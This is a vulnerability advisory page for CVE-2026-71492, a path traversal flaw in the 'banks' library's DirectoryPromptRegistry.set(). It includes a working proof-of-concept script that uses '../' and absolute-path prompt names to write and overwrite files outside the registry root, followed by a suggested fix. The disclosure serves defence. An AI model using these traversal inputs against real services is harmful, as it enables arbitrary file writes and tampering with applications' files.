Kestrel
대시보드로 돌아가기
CVE-2026-71492MEDIUMMITRENVDGHSA대응게시일: 2026. 08. 20.수정일: 2026. 09. 02.

Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root

Path-Traversal

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
medium

이론적 심각도 점수

EPSS
0.3%상위 74.9%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Summary

DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.

Details

src/banks/registries/directory.py:44

text
1prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
2prompt_file.write_text(prompt.raw)

Two failure modes:

  1. Relative traversal. name="../victim/foo" resolves to <registry>/../victim/foo.0.jinja — outside the configured root.
  2. Absolute-path bypass. pathlib documents that Path("/a") / Path("/b") returns Path("/b"). So name="/abs/path" discards the registry root entirely; the registry is never consulted.

The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.

Proof of Concept

python
1import tempfile
2from pathlib import Path
3from banks import Prompt
4from banks.registries import DirectoryPromptRegistry
5
6work = Path(tempfile.mkdtemp())
7registry = work / "registry"; registry.mkdir()
8victim = work / "victim"; victim.mkdir()
9
10reg = DirectoryPromptRegistry(str(registry))
11
12# (1) Relative traversal
13reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
14print((victim / "pwned.0.jinja").read_text()) # 'pwn'
15
16# (2) Absolute-path bypass — registry root is silently discarded
17target = victim / "absolute_pwn"
18reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
19print((victim / "absolute_pwn.0.jinja").read_text()) # 'abs pwn'
20
21# (3) Clobber an existing file
22existing = victim / "clobber_me"
23existing.write_text("ORIGINAL\n")
24reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
25 overwrite=True)
26print((victim / "clobber_me.0.jinja").read_text()) # 'CLOBBERED'

Output (verified on banks==2.4.2):

text
1pwn
2abs pwn
3CLOBBERED

test_sandbox_baseline.py

<img width="793" height="149" alt="Screenshot 2026-05-10 at 3 19 49 PM" src="https://github.com/user-attachments/assets/5c8a79ba-eaf8-4425-8612-4414bc34a0d6" />

registry_path_traversal.py

<img width="893" height="221" alt="Screenshot 2026-05-10 at 3 20 02 PM" src="https://github.com/user-attachments/assets/8aceca27-5df1-4b59-9a77-502698da6e65" />

registry_path_traversal_v2.py

<img width="1036" height="272" alt="Screenshot 2026-05-10 at 3 20 18 PM" src="https://github.com/user-attachments/assets/aaceec31-f9a8-432f-b013-29694dd22478" />

Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.

Impact

Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.

Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().

Suggested Fix

Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:

python
1# src/banks/registries/directory.py
2import re
3
4_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")
5
6@classmethod
7def from_prompt_path(cls, prompt, path):
8 if not _NAME_RE.fullmatch(prompt.name or ""):
9 raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
10 if not _NAME_RE.fullmatch(prompt.version or ""):
11 raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")
12
13 candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
14 if candidate.parent != path.resolve():
15 raise InvalidPromptError(
16 f"Prompt path escapes registry root: {candidate}"
17 )
18
19 candidate.write_text(prompt.raw)
20 return cls(
21 text=prompt.raw, name=prompt.name, version=prompt.version,
22 metadata=prompt.metadata, path=candidate,
23 )

The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.